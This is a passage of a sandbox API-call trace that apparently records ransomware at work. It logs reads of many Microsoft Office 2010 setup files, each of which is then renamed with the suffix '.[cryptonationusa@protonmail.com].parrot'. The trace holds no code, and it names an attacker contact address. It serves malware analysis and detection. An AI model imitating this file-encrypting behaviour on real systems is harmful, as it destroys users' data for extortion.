hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.048] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.056] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.056] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10b2, lpOverlapped=0x0) returned 1 [0121.057] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.058] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0121.060] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.060] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.064] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.064] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x646, lpOverlapped=0x0) returned 1 [0121.064] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.068] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.068] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.070] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.070] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7c4, lpOverlapped=0x0) returned 1 [0121.070] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0121.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.074] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.074] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.075] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.075] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc72, lpOverlapped=0x0) returned 1 [0121.076] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0121.081] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.081] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.083] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.083] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x106f, lpOverlapped=0x0) returned 1 [0121.084] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0121.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0121.088] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.088] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0121.098] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.098] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaec3a, lpOverlapped=0x0) returned 1 [0121.123] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0121.214] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.214] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.216] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5aa, lpOverlapped=0x0) returned 1 [0121.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0121.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.221] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.222] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.223] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.223] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x75e, lpOverlapped=0x0) returned 1 [0121.224] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.228] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.228] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.230] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.230] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1915, lpOverlapped=0x0) returned 1 [0121.231] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0121.234] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.234] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.235] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.235] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x412b, lpOverlapped=0x0) returned 1 [0121.237] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0121.241] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.241] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.243] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5ac, lpOverlapped=0x0) returned 1 [0121.243] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0121.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.247] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.247] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.248] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.249] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x750, lpOverlapped=0x0) returned 1 [0121.249] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0121.252] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.252] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.254] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x543, lpOverlapped=0x0) returned 1 [0121.254] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31761b8 | out: hHeap=0x5b0000) returned 1 [0121.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.260] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.260] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0121.262] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.262] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5b1, lpOverlapped=0x0) returned 1 [0121.262] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 